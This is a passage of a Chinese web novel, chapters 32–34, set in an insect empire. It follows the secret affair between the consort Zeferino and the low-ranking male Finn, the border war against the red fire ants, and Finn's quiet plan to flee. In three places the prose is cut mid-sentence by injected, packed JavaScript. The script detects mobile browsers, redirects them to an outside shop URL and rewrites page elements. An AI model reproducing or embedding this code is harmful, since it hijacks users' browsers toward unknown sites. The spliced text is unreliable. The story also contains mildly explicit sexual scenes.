泽费里诺睁开眼睛,从他怀里坐起来,双手捧住他的脸,看着微弱虫灯的光线下,雄虫漂亮的五官和轮廓:“该给你的时候,自然会给你,现在就不要总是想名分的事。” 芬恩也定定地看着他,似要把他刻在自己的脑海里:“你最近频繁找我,是要和虫皇备孕,决定跟我断联吗?” 泽费里诺大拇指指腹轻轻揩过被他吻红的雄虫嘴角,探进后触到雄虫的口器:“你是这样想的?” 芬恩张嘴,任由他的手指在口中作乱,痴痴地看着他:“其实我觉得我这辈子也够本了,我已经没有那么贪婪了,只要你好就行。” 泽费里诺又因为他的言语,心中柔肠百转:“明明自己很痛苦,却还在意别的虫感受,洛菲斯,做虫不要这么善良。” 芬恩回答:“痛苦过于密集,就麻木了,我现在已经没有那么痛了,平静地接受你和虫皇和好,也平静地接受你不属于我的事实。” 泽费里诺叹口气:“属于你,只要你不离开我,我就是你的。” 芬恩还是会因为这句话感动,但他清楚地知道,泽费里诺只是为了哄他开心。 他湖泊蓝的眼神亮晶晶地看着雌虫的黑眸:“虽然知道你是哄我的,但我还是会感到开心。” 他伸手摸到雌虫的小腹,眼底又有了泪光:“做手术的时候,很痛吧?” 泽费里诺摇头:“不痛。” 如果真的做了手术,那肯定会痛,光恢复都得三个月左右,可他没做。 所以不痛。 雌虫修长的手指覆在雄虫放在小腹的手背上:“是你的。” 芬恩低眼看着他的肚子,眼泪一颗一颗掉,假装不在意这么久,还是忍不住心疼泽费里诺:“对不起,让你受疼痛了。” 泽费里诺的心痛似一阵一阵,抬起身子双手给他擦眼泪:“真不痛,你别哭了,你知道很多事情我不想让你知道,就是怕你较真,答应我,开心一点,别什么都往自己身上揽,不是你的错。” 芬恩没回答,过了会儿才抬眼看向雌虫的眼底:“不管怎么样,泽费里诺,你都要照顾好自己,不管有没有我。” 黑发雌虫愣了愣,再次俯身拥抱他:“我怎么会没有你,你会一直在我身边。” 芬恩回应了他的拥抱,但他知道自己做了什么打算,或许一年无法离开,那就两年,实在不行就等三年…… 三年后,估计泽费里诺和虫皇的孩子都会走路了,那时候他就释然了吧。 ~ 芬恩现在不仅要频繁侍奉帝后,还得看书,泽费里诺让米安把他书房的一些书抱去给芬恩看,说是看到这只亚雌最近太闲了,不务正业。 芬恩确实闲,有书也好,只是为什么好多书籍都是关于帝国政务管理的? 他不理解,但看看也没什么不好,也是看了那些书之后,他才知道虫族的官员等级制度和虫皇的日常,这虫皇也不好当。 一整天安排地就跟打卡上班一样,早上六点就得起,准备一天开始的议会,每一段时间都有固定的事情要做,也怪不得塞塔斯没时间陪泽费里诺。 芬恩觉得当虫皇也够无聊,幸亏他只是只小虫子,在大虫子们的庇护下,安稳生活就行了。 边境星的情况越发糟糕,红火蚁族攻破了边境星的堡垒,滥杀虫民,眼看星球要守不住,这消息很快就在帝国传开了。 损失了帝国几只比较有实力的S级军雌后,塞塔斯不得不重新审视时局。 早上的会议室里,所有的内阁大臣们都在举荐泽费里诺出征:“帝后十五岁就带兵消灭了黄疯蚁族,将他们驱逐出境,那时候整个帝国也没有任何军雌可用,一只又一只折损,危难之际,这位天才雌虫跟着兄长出战,一战成名,他的实力毋庸置疑,陛下。” 雄虫卡尔金元帅也说:“如果让帝后去,这一仗就有保证,他若是不去,谁都无法将这个残暴的族群驱逐出境,还请陛下慎重考虑。” 卡尔金把持着帝国联邦和整个军部,平乱回来也没多久,泽费里诺退出政坛后,这位雄虫将军上位,艾维尔是他的部下。 塞塔斯也陷入了焦虑之中,不让泽费里诺去吧,他的边境星虫民要被屠杀干净,让泽费里诺去吧,兵权交到这样一位雌虫手中,他又该睡不着觉了。 塞塔斯看一眼艾维尔,只见艾维尔很沉默,压根没打算掺和进去,塞塔斯故意问了一句:“艾维尔阁下怎么看?” 金发军雌看了虫皇一眼,肯定了卡尔金的说辞:“我觉得卡尔金阁下很有远见,这次出征,非泽费里诺阁下莫属,只有他有把握。” 塞塔斯冷笑了一声:“合着都是怕死了,难道我的帝后就不怕了?” 卡尔金请缨道:“我愿为副将,跟随帝后出征。” 大臣公爵们都相当赞同:“只有帝后能挽救危机,请陛下务必让帝后去平乱。” 塞塔斯有点头疼,这场议会所有高级虫们都推荐泽费里诺,艾维尔也没自荐,说明都怕死。 塞塔斯前怕狼后怕虎,一怕泽费里诺出征会有闪失,二怕兵权再度交出去就难以收回来。 毕竟要带百万大军出征,那不是小数目。 他左右为难,眼看边境急报一个接一个,塞塔斯无奈至极,还是去找了自己的帝后。 泽费里诺知道这件事非他不可,没有虫愿意去送死,艾维尔也不会去,都很惜命。 只是塞塔斯对他忌惮,所以一时半会也不会有什么动作,他给塞塔斯两个月的考虑时间。 结果这才一个多月,虫皇坐不住了,来找他,跟他说起边境星的情况,泽费里诺婉拒了:“陛下没有官员可用了吗?我早就不问政事了,免得陛下不放心,所以我没法帮你。” 塞塔斯一听,更难受了:“你就甘愿看着那些多虫民被杀?都快屠干净了,那可是几百万虫民啊。” 泽费里诺神色严肃:“这么严重的事情,陛下拖到现在才说,还不是因为不信任我,既然不信任我,那陛下就该找信任的军雌去,而不是找我。” 塞塔斯听到这里也为自己的疑心病愧疚:“我的问题,是我怕你出去不回来了,才没敢来找你。” 泽费里诺早就知道的事,但架势还是摆足,啪地一声拍了沙发扶手:“那陛下现在来找我,是因为没有虫敢去平乱是吗?这不明摆着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534423|203321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让我去送死?” 塞塔斯笃定地看着他:“只有你能解决这个危机,你不会死,我会让卡尔金元帅作为副将跟着你。” 泽费里诺唇角一挑:“谁都知道卡尔金是陛下的心腹,这位军雄跟着我,是监视还是什么,陛下心里清楚,不过我也不计较,既然陛下开口了,我自然为帝国分忧。” 塞塔斯的心还是没放下来:“你得跟我保证,平完乱就回来,给我一个具体的时间,我还要跟你生皇储。” 泽费里诺朝他伸了三根手指:“三个月,据说红火蚁族有百万大军,陛下只需给我五十万A级兵种,放权于我,我三个月定回。” 塞塔斯沉默片刻:“行,明天准许你参与早上的议会,我会恢复你作为上将的身份,封你为主帅,卡尔金协助你。” 泽费里诺神色淡然:“如果不是为了虫民,我一辈子都不想再打仗了。” 塞塔斯无奈叹气:“可这帝国始终不太平,还得仰仗加西亚家族和你,辛苦了。” 泽费里诺只有一句:“为陛下分忧,分内之事。” 塞塔斯定定地看着他:“平安归来,我会为你接风洗尘。” 泽费里诺颔首:“谢陛下,一定平安归来。” ~ 米安把虫皇和帝后的谈话听得清清楚楚,心惊胆战,帝后要出征了,他把这个消息告诉了芬恩。 芬恩听到泽费里诺要去平乱,心中一整个揪住,不敢置信地看着米安:“不是说帝后不问政事,为什么让他去平乱?” 米安也不敢大声喧哗,凑近芬恩:“肯定没有军雌可用了,最近边境闹得很凶,死了好多军雌了。” 芬恩:“……”他咽了咽唾沫,又问,“那帝后同意了吗?” 米安说:“他会同意的,所有虫民都以他为荣,为了虫民,他会去的,他就是这样忧国忧民的好雌君啊。” 芬恩没回答,那不摆明了去送死吗? 他心里很慌,却不知道该怎么做。 忐忑到了晚上,泽费里诺没来找他。 芬恩等了半夜,睡不着,夜深之后,他悄悄地走进了帝后的寝殿。 轻轻地推开侧门,进了外殿,鼓足勇气去推开了雌虫卧室的门。 里面很黑,什么都看不见,芬恩小声发出开灯指令,室内的虫灯亮了。 泽费里诺侧躺在床榻上,床幔遮盖严实,芬恩走过去掀开帷幔,看到雌虫的黑发散落一床。 芬恩坐在床沿轻轻地摇了摇他:“听说要你去平乱,你没答应吧?” 泽费里诺翻个身把他拉到床上躺下,抱住他:“我就知道你会来,他们只会关心我会不会胜利,只有你关心我会不会有事。” 芬恩心里很慌:“你真的要去啊?” 泽费里诺轻笑一声:“怎么,我还没走就开始想我了?” 芬恩倒不是那样想,就是怕他出事:“你身体还没恢复好,会不会吃不消?” 泽费里诺亲他的脸颊一口:“不会,有你在,我怎么会吃不消?” 芬恩一愣:“啊?我也要去吗?” 雌虫孕中,十分需要雄虫信息素,几天也罢了,但三个月的话,腹中虫卵缺乏雄父信息素会出事的,芬恩必然得跟着他。 泽费里诺故意逗他,很喜欢抓雄虫的尾勾:“你肯定得跟我一起去啊,没有你的尾勾抚慰,我怎么打胜仗?” 芬恩:“……”都什么时候了,泽费里诺还拿他开玩笑,他去能干什么,当累赘吗? 刚想说些拒绝的话,转念一想,战乱,边境星,这不是个很好的逃跑机会吗? 错过这次逃离中央星的机会,他这辈子都得囿于雌虫的控制。 芬恩紧张地咽了咽口水,随后拥抱了泽费里诺:“只要你需要,我为你赴汤蹈火。” 可眼神里却不是赴汤蹈火的坚决,而是释然离去的平静。 就让他和泽费里诺的孽缘,掐断在这场平乱中,他会看着雌虫横扫边境星,然后在举国欢庆的喝彩中,悄然退场。 消失在雌虫的世界里。 想到这里,芬恩主动吻了泽费里诺。 雌虫发布关灯指令,和雄虫在床榻上抱成一团。 他的轻笑蛊惑悦耳:“洛菲斯,你真的好乖,以前时常觉得你无趣,可现在却觉得你无比可爱。” 自从孩子事件过后,芬恩第一次主动吻泽费里诺:“因为爱你,所以努力让自己变得有趣,可是再怎么改变,我始终是我,我变不成其他雄虫。” 他翻身在上,主动侍奉雌虫,薄唇落在雌虫的喉结:“泽费里诺,你知道吗,在没认识你之前,我不喜欢男人。” 雌虫被雄虫的触碰弄得身心愉悦,他抚着雄虫的银发:“我只是拟人类男人外形而已。” 芬恩又亲在了他的腹,这里曾孕育过他的孩子:“嗯,反正就是男人,我不喜欢男人,但我喜欢你,或许以后很多年,我都不会喜欢拟男人外形的虫子。” 泽费里诺受用于他的情话:“洛菲斯,你确实很懂怎么让我欢心,你也是我见过最会说情话的雄虫,以后也只能对我说。” 芬恩触到了雌虫作为人类的部分,和男人没什么两样,即使没什么实际作用,也会因为他的触碰有和人类相同的状态。 烙铁也不过如此。 芬恩并不觉得违和,作为男人,不就是这样吗? 决定要逃走了,那就在逃走之前,把他所有的爱和情,都给泽费里诺,这样的话,未来很多年,他都不会有遗憾。 雌虫感觉雄虫薄唇的温热,细细掠过所有拟人感官。 泽费里诺在黑暗里有些懵,一只雄虫,放下他雄虫的尊严,这样抚慰他。 不,不可以。 泽费里诺起身一把将芬恩拉起来,去擦他的嘴:“不用这样,正常就好。” 芬恩握住他修长骨感的手,放在自己脸上,声音宠溺温柔:“爱你啊,关于你的一切,我都觉得好,老婆,别拒绝我。” 32.第 32 章 泽费里诺真正意义上感受到被雄虫在乎的感觉,那种满眼都是他的样子,他从未在塞塔斯眼中看到过,但他在小雄虫眼中看到了。 原来作为一只雌虫,不管多强大,都需要雄虫的关怀和在意,他以为自己不会去在意这些本质上并不存在的虚无感情。 可洛菲斯这只雄虫让他感受到了,那是一种让他心理信任和依赖的情感依托,他也时常忍不住想,就这样过下去吧,不管对方等级多低,只要是雄虫,只要爱他,身份的尊贵卑贱无所谓了。 他本身就不需要雄虫为他镀金,有权有势,荣华富贵几辈子都享受不完,他要的就是情感的支柱,未来孩子的雄父。 他有能力把一只雄虫从底层托起,让雄虫站在自己身边来,所以他谋划的一切,不仅为自己,还为这只一心爱他的雄虫。 他到现在还是不太确定自己爱不爱,早就在被虫皇背叛时觉得自己失去了爱上雄虫的能力,只是觉得小雄虫听话,好控制,就算有二心,也没塞塔斯那样难以拿捏。 情到浓时,从来都不想囿于情感的高级雌虫,也会抱着芬恩低声问:“你真的一辈子只喜欢我吗,你知道的,我对雄虫没有信任感,被背叛过一次,心里始终有阴影。” 而小雄虫的回答也是肯定的,视若珍宝地亲雌虫的眼睛,鼻梁,嘴唇:“喜欢你,只喜欢你,你是我心里的唯一。” 这是芬恩的真心话,如果有可能,他也想陪泽费里诺走过这漫长的一辈子,把一颗心完整地交给唯一的雌妻。 可无论怎么想,都是他自己的一场幻想虚妄,现实和梦境要分清楚,不然会把自己禁锢到疯掉。 在疯掉之前,他想保持一点点的理智,走出梦魇,让自由超度他灵魂的阴暗和扭曲。 他心想:泽费里诺,我们就到这里吧,流年转瞬,光阴易逝,愿你余生所求都得偿所愿。 ~ 虫皇恢复了泽费里诺的上将身份,交于他五十万A级精神力虫兵的兵符,这兵符里储存着A级精兵的精神力,主将可以通过这兵符使用精神力对虫兵精准下发命令。 从各地调兵用了一个星期,这一个星里,芬恩也准备跟着帝后出征,米安都诧异了,帝后是去打仗,又不是去游山玩水,一只亚雌去了能干什么? 芬恩走的时候就带了几本书,米安接到命令,让他把洛菲斯的终端设备都还给他,米安只得照做。 其实到这里,虫皇已经发觉了点什么,但泽费里诺出征在即,他只能睁一只眼闭一只眼,不过是只亚雌罢了,就算上了泽费里诺的床,也没法站在这位强大的雌虫身边。 虫皇表现出了超常的大肚量,没有过问芬恩,心里却想着,你总会回来的,等那时候战乱平了,弄死一只亚雌根本不在话下。 目前就让这只亚雌霸占着他的雌君。 卡尔金作为副将跟随出征,这一路上发生什么,都会汇报给虫皇。 一个星期后,终于要出发了,虫皇和帝后在军部点将,芬恩也被下发了一套黑色军装,上面只有虫族帝国的徽章,除此之外,什么都没有。 他作为伺候帝后起居的贴身侍从一起出征,大家对他并没有过多关注。 星际战舰停在中央星港口,帝国所有的官员都前来相送,能容纳几十万人的星际战舰开出去了三艘,里面还有各种小型战机,都需要精神力才能驱动,随行的还有治愈系精神力的军雄,以防止这些雌兵突然出现精神力紊乱。 据说边境星距离中央星很远,星际战舰要在宇宙中航行二十多个小时,虫族光大大小小的星球不下五百个,到处都有重兵把守,这一路过去要越过不少星球。 泽费里诺和一些长官在主舰上,从上船开始,军雌和军雄们的会议就没停过,芬恩时不时进去给大家倒杯水。 泽费里诺坐在主帅的位置,一身黑色军装,长发扎在脑后,压在军帽之下,军装衬得他身形颀长,周身低气压,冷着一张绝世容颜,大家都得看他的脸色说话。 芬恩只是看了一眼,便移开了视线,他们在商讨战术。 在场的都是高级虫,看起来和人类没什么两样,只有芬恩,背上合着一双透明的翅膀。 但大家不会注意他,都知道他是帝后带出来的亚雌,没有高级虫会注意亚雌这种低等的虫。 卸甲两年之久,泽费里诺对战斗指挥依旧手到擒来,没有丝毫生疏,毕竟平时没事的时候就是在看书,不管是纸质书还是帝国军事库,他都没有一刻的松懈。 这位雌君从小就是卷王来的,天赋异禀加上后天努力,让他成为如今的瑰宝,不是没有原因。 芬恩只觉得这样活着真累,当真是能力越大,责任越大,没有虫收拾的烂摊子,都得泽费里诺来收拾。 要塞塔斯那个虫皇干什么啊,芬恩总为这样的雌君感到不值。 关于帝后的出征,媒体大写特写,最近虫族的社交平台都被帝后的消息屠版了,各星球的虫族网友,顶着家乡星球的IP为帝后打call。 【边境星的大家挺住啊,我们的雌君来救大家了!】 【果然还得是他,泽费里诺你就是我的神o(╥﹏╥)o】 【莫名觉得感动,生在这样的虫族,我很骄傲,我们有天才雌君,我就知道他不会让大家受苦!】 【虫皇要是辜负了这样的雌君,我第一个不答应!】 【啊啊啊他好帅啊,军装简直比军雄还A!】 从虫民的态度中可以看出来这位雌君多受虫民的爱戴。 芬恩自从穿来,就没用过自己的终端,泽费里诺在开会,他回到自己的休息舱,小型壁上终端一直在推送简讯,都是关于泽费里诺的。 他点进去看了看,也是见识到了虫族IP的多样性,各种星球的ID都冒出来,在给泽费里诺加油。 芬恩心想,泽费里诺想当虫皇,自古受到民众爱戴的,是真正为民众做事的,不管是人类还是其他族群,都会成功。 一定可以的,虽然自己看不到了,但芬恩也默默地留下了一条匿名评论:【铁血玫瑰,不负盛名,帝国永远的瑰宝。】 他有他的抱负和理想,芬恩有芬恩的自由和向往。 战舰驶过模拟太阳的发热器,芬恩从特殊透明合金窗户里看到了外面快速越过类似流星的星群,似乎还能看到空间站,每一颗星球附近好像都有空间站和类似卫星的雷达,用来进行信息的转换。 不知过了多久,会议终于散了,泽费里诺回到了主帅舱,信息传达到了芬恩所在的休息舱,他整理了一些水果和营养剂,给他送过去。 泽费里诺还在看书,芬恩觉得他真不容易,走过去站在他身边,俯身将水果递到他嘴边:“歇会儿,时间还早,别这么劳累。” 泽费里诺看了他一眼,见他穿着一身普通的军服,身姿挺拔,腰带束缚着精瘦的腰身,显得双腿格外长,倒是蛮好看:“你很适合军装。” 芬恩唇角牵了牵,将酸酸的水果喂到他口中:“你穿更好看。” 泽费里诺让他坐:“就嘴甜,红火蚁比黄疯蚁厉害一点,这些家伙不愿意归顺,自己想当虫皇,统治虫族,占着一颗星球,繁殖太快,破坏能力也强,没地方去了,就想掠夺我们帝国的资源。” 芬恩坐在一边继续给他投喂水果:“自古侵略者的下场都不会好,我相信,你一定会把他们赶出去。” 泽费里诺抬眼,沉冷的黑眸看向芬恩:“叫你看的那些书,可有按时看?” 芬恩点头:“在看,不过我觉得跟我关系不大,帝国管理用不到我,我看了也没用,反而觉得当虫皇好麻烦。” 泽费里诺唇角勾起意义不明的笑:“这就怕麻烦了怎么行,学无止境,好好看,好好学,不懂的就问我。” 芬恩真觉得自己对学习没多大渴望,但这一路也没事干,他只能看书。 泽费里诺最近压力大,芬恩看出来了,都没怎么休息。 快到边境星附近的时候,芬恩进去送水和营养剂,看到泽费里诺趴在书桌上睡着了。 芬恩放下餐盘,将雌虫从凳子上抱起来,想把他抱到床榻去休息,可刚抱起来他就醒了。 芬恩心疼于他的劳累,自己坐在椅子上,把他顺着抱在自己腿上,让他靠在自己怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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芬恩没拒绝他的吻,他知道,这是为数不多的温存,在有限的日子里,用心去爱一只雌虫,这是他唯一能为泽费里诺做的。 吻着吻着来感觉了,泽费里诺放开雄虫殷红饱满的唇,看到雄虫口器缩回口中躲起来,他低沉的声音有些暗哑:“抱我去那边。” 芬恩不遗余力抱起他,往床榻走去。 外面卡尔金在敲门:“雌君阁下,马上到了,您想到攻打红火蚁的方法了吗?大家都在等您的回复。” 泽费里诺撕扯着雄虫的衣物,语气毫无波澜地回答:“等着,一个小时后,给你们答复,不要来打扰我,我要睡会儿。” 芬恩精壮的胸膛呈现在雌虫面前,有一种说不出的健康和美好,雌虫的手掌贴上去,贴在雄虫心口:“洛菲斯,这颗心,就交于我吧。” 芬恩的胸膛起伏,感受雌虫掌心的温暖:“给你,都给你,只要你愿意。” 泽费里诺凑过去,温热的唇,亲了他的心口:“我要它,这辈子只属于我,再也不能为其他雌虫动心,如果它为其他雌虫动心,我就把它剜出来,用光剑剁个稀碎。” 芬恩仰头出长气:“真霸道,那你怎么不把虫皇的心剜出来剁碎?他背叛你,还想害你。” 泽费里诺的牙齿轻轻咬雄虫的喉结:“挖他的心没有意义,只会脏了我的手。” 芬恩全身的肌肉线条紧绷着:“那挖我的心就有意义了?” 泽费里诺咬疼他:“嗯,因为你只属于我,我宁愿让你清白地死,也不愿你的尾勾被弄脏。” 芬恩一把推倒他,欺身而上,尾勾顺着雌虫的长腿缠绕而上:“那么喜欢我的尾勾呢,谁能想到,大家眼中运筹帷幄的雌君主帅,不肯去开会,却是在索求我。” 他宽大的手掌抚过雌虫脸颊,落在象征帝国军雌军衔的五颗星徽上:“泽费里诺,求我,叫老公,我就给你想要的,不然我不给。” 泽费里诺痴痴地望着他:“那么想当我老公,洛菲斯,你以下犯上了。” 芬恩凑到他唇边,一手解雌虫的黑色抑制环,小声询问:“那你喜不喜欢,不喜欢我就不继续了。” 泽费里诺双臂抱住他的脖颈,行动给出了答案:“小东西,故意折磨我,抓紧时间,他们还在等我。” 33.第 33 章 红火蚁对虫族边境以太星球进行了大规模的屠杀,剩余的几十万虫民被迫躲在高墙之内,外围已经被红火蚁杀穿了,尸横遍野。 如果不是塞塔斯拖延时间,战况不可能这么惨烈,泽费里诺要是提前一个星期出发前往平乱,或许活下来的虫民会有一倍多。 整个以太星球都处于被侵略的恐惧中,当地虫族政府束手无策,距离相近的星球派来的救兵也都不敌,最后全军覆没。 这个时候大家才清楚泽费里诺是多么重要的存在。 以太城高高筑起的城墙上都是红火蚁的毒液,沾上就会被腐蚀致死,但虫族将士没有一个退缩的,不断有虫族士兵从城墙内开着战机或身着机甲冲出去和飞在空中的那群凶残可怕的大型蚂蚁战斗。 机甲被腐蚀破坏,里面驾驶机甲的拟人虫便成了红火蚁的靶子,空中不断有战机坠落,爆炸,销毁…… 城内虫心惶惶,所有的虫都聚集地下堡垒里,听着上面不断有战火声传来…… 孩子们躲在父母的怀里,紧紧抓着父母的衣服,一边哭一边问:“妈妈,雌君什么时候来救我们?我们会死吗?” 谁也不知道帝国是不是放弃他们了,边境被攻击一个多月,不见虫皇拨兵来救,但家长还是哄着怀里的孩子:“雌君是我们虫族的大英雄,他一定会来救我们,马上就来了,你睡一觉他就到了。” 以太星球的所有信息都和外界切断了,压根联系不到外面,附近的星球支援了几波,损失了几位军雌后,也不敢再来救援。 只有当地虫族政府还在奋力反抗,发出去的求援消息快一个月了,虫皇还没有派兵来支援,他们默认自己被抛弃了。 整个以太星球都在孤军奋战,眼看高墙堡垒即将被攻破,所有的虫民都做好了以身殉国的准备—— 剩余几千只不到的虫族士兵还在奋死反抗,一个个冲出去,然后倒在血泊里,尸体堆积一层又一层。 何以悲壮。 军雌入伍,一辈子便将自己的生命献给了帝国,只有战死,从不后退。 只可惜帝国没把他们的生命当回事。 以太星球的执行长官奥维军雌,军衔少将,眼看着再没有一个将领可用,他的下属都纷纷为帝国战死,他作为以太星球最后的执行长,手执削铁如泥的光剑,带着最后几百只雌兵,驾驶本命机甲冲出了围墙。 城内自此再无一只雌兵,平民虫们都躲在地下堡垒,他们会为了这些虫民做最后的斗争。 但对方数量实在是多,几百只乃至几千只雌兵根本拿入侵者没办法,奥维少将的机甲上沾上了红火蚁的毒液,他不得不放弃机甲,以虫形搏战—— 那他的下场将会很惨,红火蚁族群以虫族为食物,尤其是精神力强大的军雌,他们已经盯上了这一口美味。 周围飞来上万只一模一样长达两米的红火蚁尖兵,他们看着那在包围的虫子直冒口水,都恨不得当场撕下虫族军雌的肉来尝尝鲜。 几百只雌兵剩下没几只了,但没有一只雌兵放弃保卫自己的家园,宁可战死,决不投降! 就在越来越多的红火蚁冲向城墙堡垒,越过以太星最后保卫屏障时,天空突然有战机轰鸣,那声音好像来自遥远的天际! 紧接着有什么液体从轰鸣而来的战机上倾倒而下,洒满了密集的红火蚁的身体,入侵者们被这突如其来的动静吓到,纷纷往高处飞,试图将战机打下来。 可他们还没触碰到战机,那战机装有高爆发的燃烧—瓶,一个个精准地落在了红火蚁身上,一时间大火开始在空中燃烧,那些以腐蚀性毒液为武器的蚂蚁,不断被烧得失去战斗能力,掉落高空! 与此同时,以太星球的天边出现了三艘巨大的星际战舰,正朝着以太城驶来,奥维将军看到了帝国印着虫神的旗帜。 他永远忘不了那天。 以太城大厦将倾的城墙外,虫族将士的尸体和红火蚁的尸体堆叠,满目疮痍,再晚一会儿,以太城将沦陷。 就在这生死存亡之际,泽费里诺像虫神一样降临在边境星,指挥着虫兵击退了进攻的红火蚁,三艘战舰停在了城内巨大的港口。 奥维将军捡回一条命飞回城内港口,全身几十处伤痕,已然成了光杆司令,跪在泽费里诺脚下哭成了泪虫。 “雌君,您可算来了。” 泽费里诺想过战况激烈,但没想到成了这个样子,心里有怒气,如果塞塔斯不忌惮他,让他早些来,不至于让着边境星成为废墟。 泽费里诺上前把他扶起来,看到这位军雌的样子,心里也是悲壮:“你们没有辜负帝国,是帝国永远的战士。” 奥维将军泪流满面:“我还以为帝国放弃了我们,还好你来了……” 看着满目疮痍差点被屠干净的边境星,泽费里诺此刻对塞塔斯的恨也是达到了顶峰:“只要是帝国的疆土和虫民,帝国就不会放弃,接下来你好好歇息,战况交于我。” 泽费里诺到达边境星的第一时间也没休息,而是让将士们定位红火蚁的位置,进行反击战,他亲自坐镇高墙内的指挥所,进行指挥。 知道泽费里诺来了,藏在地下堡垒的虫民们纷纷跑出来,喜极而泣,开始奔走相告。 小女孩雌虫躲在爸妈怀里睡觉,听到声音后,惊喜地睁开眼睛,小脸还脏着,却是高兴地跟妈妈说:“雌君真的来啦,妈妈,他真的来啦!我们不用死了!” 自此整个地下堡垒的虫民都才开始放声大哭,他们知道,他们迎来了生存的希望。 芬恩也没见过这样的阵仗,原本在地下堡垒躲藏的虫民们,听到泽费里诺来了,也不躲着了,甚至不怕被杀死的危险,都跑出来为泽费里诺喝彩。 芬恩那一刻才意识到,泽费里诺对于整个虫族而言,不亚于神的存在。 或许神不会救他们,但泽费里诺会。 他爱了一只天神一样的雌虫,这辈子怎么不算够本呢。 泽费 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537746|203321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里诺派兵反击红火蚁数百里,但他的战斗不止于此,三个月的时间,他要重整边境星,还要把红火蚁的蚁后找到,赶尽杀绝,以绝后患。 以太星球迎来了希望,泽费里诺连着几天没合眼,芬恩还能休息一会儿,但泽费里诺不是议会就是指挥战斗,修筑堡垒和城墙。 芬恩觉得他好累,真希望自己有点用,能帮到他什么,可芬恩除了给他送营养剂和说一些安慰的话,并没有什么作用。 奥维将军的伤势好点了,他一家都为了帝国战死,一门忠烈,泽费里诺代表帝国安抚他,上表中央星,加封奥维将军中将头衔,俸禄翻倍。 忙了快十多天,战况稍微松懈了一点,泽费里诺终于可以休息会儿,芬恩去他房间送东西时,泽费里诺靠在沙发上睡得正熟。 芬恩把他抱去床榻,他也没有醒来,这次是真累了。 整个以太星球都压在泽费里诺一只雌虫的身上,而那远在中央星的虫皇,却还催促他快些回皇宫。 芬恩把被子给他掖好,自己坐在了床沿,守着泽费里诺。 卡尔金将军有虫皇的密令传达,推开房门就看到芬恩趴在床边,守着泽费里诺。 那模样倒不像是亚雌,反而像……卡尔金晃了晃脑袋,打消了自己不和谐的想法。 泽费里诺的丈夫是虫皇,没有虫敢跟虫皇抢雌妻。 芬恩转头看到了他,不想让他打扰雌君,便起身跟卡尔金走了出去,把门给关上。 卡尔金将他打量一番:“你应该只是亚雌吧?不过你这亚雌长得还真不错,除了那双看起来不太好看的翅膀。” 芬恩只说:“他这些天累坏了,让他休息会儿,阁下别打扰他。” 卡尔金还是不死心:“你和雌君到底什么关系?我怎么觉得怪怪的?” 芬恩这才抬眼看向雄虫的眼底:“哪里怪?” 黄毛雄虫卡尔金眯了眯眼:“你跟虫皇陛下长得有点像。” 芬恩不动声色:“所以,阁下想表达什么?” 卡尔金想了想,打消了自己莫名的想法:“没什么,就是觉得他的口味竟然一直这么专一,这么多年了,还是喜欢这种。” 芬恩心里一跳:“阁下别乱说,毁坏雌君的名节。” 卡尔金拍拍他的肩膀:“你别紧张,别怕,我是雌君的心腹,也一直暗恋他,这虫族,没有雄虫拒绝得了这位雌君,迷倒一只亚雌自然也不在话下。” 芬恩:“……” 哦,整个虫族都是他的情敌。 可惜,他马上退出这场角逐,不再和他们争抢。 泽费里诺哪怕很累,也仅仅睡了两个小时就醒了,一睁眼,他的手握在小雄虫手中。 小雄虫趴在床沿睡着了,他轻轻地捏了捏芬恩的手,有种莫名的心安,拉着雄虫的手放在心口,他又闭上了眼睛。 他会以边境星为起点,搅乱一场改朝换代的风云,让这虫族迎来一位爱惜虫民的虫皇。 34.第 34 章 泽费里诺忙着追踪红火蚁的同时还得修筑堡垒,卡尔金军雄和奥维军雌辅助他,他要在短时间内结束以太星球的战乱,去支援另外一颗边境星球。 那边的蝗虫族虽没有红火蚁猖狂,但正在以万顷一分钟的单位,破坏虫民的粮食和农作物,这样下去的话,虫民没有了食物,也会陷入恐慌危机。 他忙碌的时候,则勒令芬恩在城墙内的指挥基地安心看书,别懈怠,要把他发到终端上的那些书都看完。 芬恩心想,泽费里诺真会给他找事,他明明更想伴随在左右,在有限的时间里多看雌虫两眼。 可他的雌君作为主帅,所有虫都得听主帅的命令,那么他也不例外,芬恩只得独自待在基地看书。 真是奇了怪了,看那些关于帝国制度科普的书对他而言有什么用吗? 什么《虫族帝国的规章制度》《虫族帝国的管理守则》《虫皇义务》…… 不给虫皇看,给他这只低等雄虫看什么,这是让他知道当虫皇有多不容易吗? 芬恩当然知道当一个帝国的皇帝有多辛苦,他只是普通雄虫,就算想为虫皇分忧,也没办法。 泽费里诺又用三天的时间让工兵去外空间站恢复了以太星球的通讯系统,自此以太星球的终端设备都有了信号,大家可以通过终端跟外界的亲属朋友联系。 城墙堡垒和外面的毒液以及士兵尸体都被好生清理,泽费里诺让奥维将军统计了所有战死的战士,大到将军,小到士卒。 统计好之后,泽费里诺上书中央星,让虫皇体恤士兵,督促帝国财政部对战死的士兵家属发放抚恤金,不能遗漏。 